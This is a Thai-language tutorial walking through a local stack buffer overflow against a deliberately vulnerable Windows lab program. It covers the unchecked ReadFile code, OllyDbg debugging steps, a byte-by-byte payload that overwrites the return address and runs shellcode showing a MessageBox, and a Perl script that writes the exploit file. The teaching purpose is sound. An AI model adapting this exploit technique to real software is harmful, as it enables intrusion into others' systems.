ตัวอย่างต่อไปนี้จะเป็นการทำ local buffer overflow บนเครื่องตัวเองเพื่อทำการศึกษาพฤติกรรมการทำงานของ buffer overflow
[+] ก่อนอื่นคงต้องอธิบายก่อนว่า buffer overflow คืออะไร
buffer overflow คือการทำให้ buffer ในการเก็บข้อมูลของโปรแกรมมีการล้นออกมา (ส่วนจะล้นออกมาแล้วเป็นยังไงนั่นอีกเรื่อง ซึ่งจุดนี้เป็นจุดที่เราหาประโยชน์จากการทำ buffer overflow ได้)
[+] โดยในกรณีศึกษานี้ เราจะมี code ของตัวโปรแกรมที่เราจะทำ buffer overflow เพื่อประกอบความเข้าใจดัง code ด้านล่าง
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | BOOL Rfile(HWND mhWnd) { HANDLE hfile = (HANDLE) - 1; DWORD nbt = 0; // buffer size = 10 TCHAR buf[10]; hfile = CreateFile("info.txt", GENERIC_READ,FILE_SHARE_READ | FILE_SHARE_WRITE, (LPSECURITY_ATTRIBUTES)NULL,OPEN_EXISTING,0,NULL); // แสดง error เมื่อไม่พบไฟล์ if(hfile == (HANDLE)-1) { MessageBox (mhWnd,"ERR: CreateFile ","Error 01",MB_OK); return 1; } ZeroMemory(buf,10); // ไม่มีการตรวจสอบข้อมูล buffer ก่อนทำ ReadFile() ReadFile(hfile,(LPVOID)buf,(DWORD)GetFileSize(hfile,NULL),&nbt, (LPOVERLAPPED)NULL); SendMessage(mEdit,WM_SETTEXT,0,(LPARAM)(LPCTSTR)buf); return 0; } |
[+] แต่ในชีวิตจริงไม่มีโปรแกรมไหนหรอกครับที่เราจะเห็น source code แบบข้างต้นนี้ เอาละมาเริ่มด้วยการเปิด ollydbg แล้วเลือกโปรแกรมที่มีช่องโหว่นี้ขึ้นมา (basic buffer overflow.zip)
[+] จากนั้น search หา api ที่ใช้สำหรับอ่าน file
[+] จะปรากฏหน้าต่าง reference window ขึ้นมาให้ทำการหา kernel32.ReadFile แล้ว set breakpoint
[+] run (f9) เพื่อให้โปรแกรมทำงาน
[+] สร้างไฟล์ info.txt ขึ้นมา แล้วพิมพ์ตัวอักษรลงไปแล้วนำ info.txt ไปวางไว้ใน path เดียวกับ basic buffer overflow.exe
[+] สั่ง read file บนโปรแกรม basic buffer overflow.exe โปรแกรมจะถูก ollydbg break ดังรูป
[+] จาก รูปจะเห็นว่า ค่า ecx เก็บ address ที่ชี้ไปยัง buffer ที่เอาไว้รับข้อมูลของโปรแกรมให้ทำการ dump ค่าของ ecx ลง memory window เพื่อติดตามดูค่า
[+] step over (f8) จนกระทั่งผ่าน address 0x004017be เราจะพบว่าที่ memory window จะมีข้อมูลของ info.txt อยู่
[+] จากนั้น step over (f8) ไปจนกระทั่งถึงบรรทัดที่มี command “retn” ให้เราสังเกตุที่ค่า esp เราจะพบว่า ที่บรรทัดนี้ esp จะเก็บค่า address ที่จะไปทำงานต่อหลังจากผ่านบรรทัดคำสั่ง “retn”
[+] เห็น ข้อมูลใน memory windows ชักเอะใจอะไรไม๊ครับ ถ้าสมมติว่าถ้าเราใส่ข้อมูลใน info.txt ให้มากขึ้นละ มากจนกระทั่ง มันมาทับข้อมูลที่อยู่ใน address 0012fad0 จะเกิดอะไรขึ้น ว่าแล้วเราก็แก้ไขข้อมูลของ info.txt เป็นดังนี้ (จะเป็นอย่างอื่นก็ได้นะ ไม่ได้ว่าอะไร ไม่เกี่ยวกับ tutorial แต่อยากให้รู้ไว้ ^^”)
Edkungnarak000000000000011110000
[+] run program ใหม่อีกรอบ แล้วรันจนกระทั่งถึง address 0x004017fb ซึ่งเป็นคำสั่ง retn จะเป็นดังรูป
[+] เนื่อง จากข้อมูลใน info.txt มีความยาวมากเกินกว่าที่ buffer รองรับ จึงทำให้ data ที่อยู่ใน info.txt ล้นออกมาทับกับข้อมูลส่วนอื่น จากนั้น ให้คิดต่อว่าจะเกิดอะไรขึ้นถ้าที่แทนที่จะใส่ value ของการ return เป็นค่า 0×31313131 ให้กลายเป็น address ที่เก็บ code คำสั่งของเราเอาไว้
[+] จากข้อมูลที่ได้มา เราสามารถสร้างรูปแบบข้อมูลใน info.txtง่ายๆ ได้ดังนี้
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 | 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; nop จนกระทั่งถึง Byte ที่ 25 ซึ่ง เป็น byte ที่เก็บ return address 0xE0 ; --------------- 0xFA ; | เปลี่ยน return address เป็น 0012FAE0 0x12 ; | 0x00 ; --------------- 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x6A ; 0012FAE0: push 0 >> message box style 0x00 ; 0x6A ; push 0 >> message box title 0x00 ; 0x68 ; push 0012FB00 >> message box text 0x00 ; 0xFB ; 0x12 ; 0x00 ; 0x6A ; push 0 >> windows handle 0x00 ; 0xFF ; --------------- 0x15 ; | call user32.MessageBoxA 0x14 ; | 0x63 ; | 0x42 ; | 0x00 ; --------------- 0x00 ; null terminating 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x90 ; 0x45 ; 'E'------------ 0012FB00 0x64 ; 'd' | “Edkungnarak” String 0x6B ; 'k' | 0x75 ; 'u' | 0x6E ; 'n' | 0x67 ; 'g' | 0x6E ; 'n' | 0x61 ; 'a' | 0x72 ; 'r' | 0x61 ; 'a' | 0x6B ; 'k'------------ 0x00 ; End String |
[+] แต่ ว่าเราไม่สามารถใส่ข้อมูลเช่น 0×00 หรือ 0×90 ต่างๆเหล่านี้ลงไปใน text editor ได้เนื่องจาก โปรแกรมเหล่านี้รองรับแต่ การป้อนตัวอักษรเท่านั้น ดังนั้นให้เราเปิดด้วยโปรแกรม hxd แล้วทำการเซฟข้อมูลชื่อ info.txt ดังรูป
[+] จาก นั้น run program ใหม่อีกครั้ง จนกระทั่งถึง address 0x004017fb ซึ่งเป็นคำสั่ง retn อีกครั้งหนึ่ง จะเห็นได้ว่า คราวนี้ return address จะมีค่าเป็น 0x0012fae0
[+] step over (f8) อีกครั้ง คราวนี้โปรแกรมจะ return ไปยัง address 0012fae0 ซึ่งเราได้เขียนแทรก code ลงไปแล้ว
[+] เมื่อสั่ง run (f9) อีกครั้ง ผลจะออกมาดังรูป
[+] สำหรับ คนที่ไม่ต้องการใช้ hex editor ในการทำ exploit code อาจจะทำการเขียน shellcode ลงไปแทนก็ได้ครับ ซึ่งขอยกตัวอย่างด้วยการใช้ perl code ละกัน
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | #!C:/Perl/bin/perl.exe -w $junkcode_1 = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90". "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; $retn = "\xe0\xfa\x12\x00"; $junkcode_2 = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; $shellcode = "\x6a\x00\x6a\x00\x68\x00\xfb\x12\x00\x6a\x00\xff\x15\x14". "\x63\x42\x00\x00"; $junkcode_3 = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; $string_ref = "\x45\x64\x6b\x75\x6e\x67\x6e\x61\x72\x61\x6b\x00"; $exploitcode = $junkcode_1.$retn.$junkcode_2.$shellcode.$junkcode_3.$string_ref; open(FILE, ">info.txt"); print FILE "$exploitcode"; close(FILE); |














